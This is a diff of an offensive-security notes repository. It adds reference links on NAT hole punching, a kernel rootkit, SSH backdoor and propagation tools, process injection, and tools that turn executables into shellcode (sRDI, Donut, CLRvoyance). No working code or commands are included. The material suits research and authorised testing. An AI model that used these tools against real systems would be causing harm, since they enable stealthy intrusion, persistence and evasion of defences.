b/pentest/infrastructure/networks/README.md @@ -1,4 +1,4 @@ -# Network +# Networks - [https://github.com/frostbits-security/MITM-cheatsheet](https://github.com/frostbits-security/MITM-cheatsheet) - [https://xakep.ru/2021/08/25/stp-yersinia/](https://xakep.ru/2021/08/25/stp-yersinia/) @@ -8,3 +8,12 @@ {% embed url="https://youtu.be/JdeE4TQ3OsM" %} {% embed url="https://www.youtube.com/live/a-S_Sg2gyXo?feature=share" %} + + + + +## NAT Hole Punching + +- [https://habr.com/ru/articles/763164/](https://habr.com/ru/articles/763164/) +- [https://github.com/dwoz/python-nat-hole-punching](https://github.com/dwoz/python-nat-hole-punching) +- [https://github.com/penumbra23/peerko](https://github.com/penumbra23/peerko) diff --git a/pentest/infrastructure/persistence.md b/pentest/infrastructure/persistence.md index f8ce46d..eb28a8d 100644 --- a/pentest/infrastructure/persistence.md +++ b/pentest/infrastructure/persistence.md @@ -273,3 +273,4 @@ $ pkill gs-bd ### Rootkits * [0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485](https://0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485) +* [https://github.com/eeriedusk/nysm](https://github.com/eeriedusk/nysm) diff --git a/pentest/infrastructure/post-exploitation.md b/pentest/infrastructure/post-exploitation.md index d9f7804..e05b538 100644 --- a/pentest/infrastructure/post-exploitation.md +++ b/pentest/infrastructure/post-exploitation.md @@ -11,6 +11,7 @@ description: General Post Exploitation - [https://github.com/blendin/3snake](https://github.com/blendin/3snake) - [https://github.com/hackerschoice/ssh-key-backdoor](https://github.com/hackerschoice/ssh-key-backdoor) +- [https://github.com/MegaManSec/SSH-Snake](https://github.com/MegaManSec/SSH-Snake) Search SSH logs for connection source IPs: diff --git a/redteam/maldev/code-injection/README.md b/redteam/maldev/code-injection/README.md index 273f6b4..a66f4ba 100644 --- a/redteam/maldev/code-injection/README.md +++ b/redteam/maldev/code-injection/README.md @@ -331,6 +331,8 @@ int main(int argc, char** argv) - [https://www.r-tec.net/r-tec-blog-process-injection-avoiding-kernel-triggered-memory-scans.html](https://www.r-tec.net/r-tec-blog-process-injection-avoiding-kernel-triggered-memory-scans.html) - [https://github.com/S3cur3Th1sSh1t/Caro-Kann](https://github.com/S3cur3Th1sSh1t/Caro-Kann) +- [https://caueb.com/attackdefense/threadlessstompingkann/](https://caueb.com/attackdefense/threadlessstompingkann/) +- [https://github.com/caueb/ThreadlessStompingKann](https://github.com/caueb/ThreadlessStompingKann) @@ -421,12 +423,27 @@ VerifierEnumerateResource ## PE to Shellcode -- [https://github.com/monoxgas/sRDI](https://github.com/monoxgas/sRDI) -- [https://github.com/TheWover/donut](https://github.com/TheWover/donut) - [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode) - [https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/](https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/) - [https://github.com/paranoidninja/PIC-Get-Privileges](https://github.com/paranoidninja/PIC-Get-Privileges) + + +### sRDI + +- [https://github.com/monoxgas/sRDI](https://github.com/monoxgas/sRDI) + + + +### Donut + +- [https://thewover.github.io/Introducing-Donut/](https://thewover.github.io/Introducing-Donut/) +- [https://thewover.github.io/Cruller/](https://thewover.github.io/Cruller/) +- [https://github.com/TheWover/donut](https://github.com/TheWover/donut) +- [https://github.com/S4ntiagoP/donut/tree/syscalls](https://github.com/S4ntiagoP/donut/tree/syscalls) +- [https://github.com/Binject/go-donut](https://github.com/Binject/go-donut) +- [https://github.com/listinvest/undonut]https://github.com/listinvest/undonut() + [Example](https://github.com/l4ckyguy/ukn0w/commit/0823f51d01790ef53aa9406f99b6a75dfff7f146) with [SharpHound.exe](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe) and donut (C# cross-compilation is done with [Mono](https://www.mono-project.com/download/stable/)): {% code title="sweetblood.sh" %} @@ -481,6 +498,14 @@ This technique is enhanced and automated [here](https://gist.github.com/snovvcra +### CLRvoyance + +- [https://github.com/Accenture/CLRvoyance](https://github.com/Accenture/CLRvoyance) +- [https://github.com/kyleavery/ThirdEye](https://github.com/kyleavery/ThirdEye) +- [https://web.archive.org/web/20230601160135/https://www.accenture.com/us-en/blogs/cyber-defense/clrvoyance-loading-managed-code-into-unmanaged-processes](https://web.archive.org/web/20230601160135/https://www.accenture.com/us-en/blogs/cyber-defense/clrvoyance-loading-managed-code-into-unmanaged-processes) + + + ## PE Injection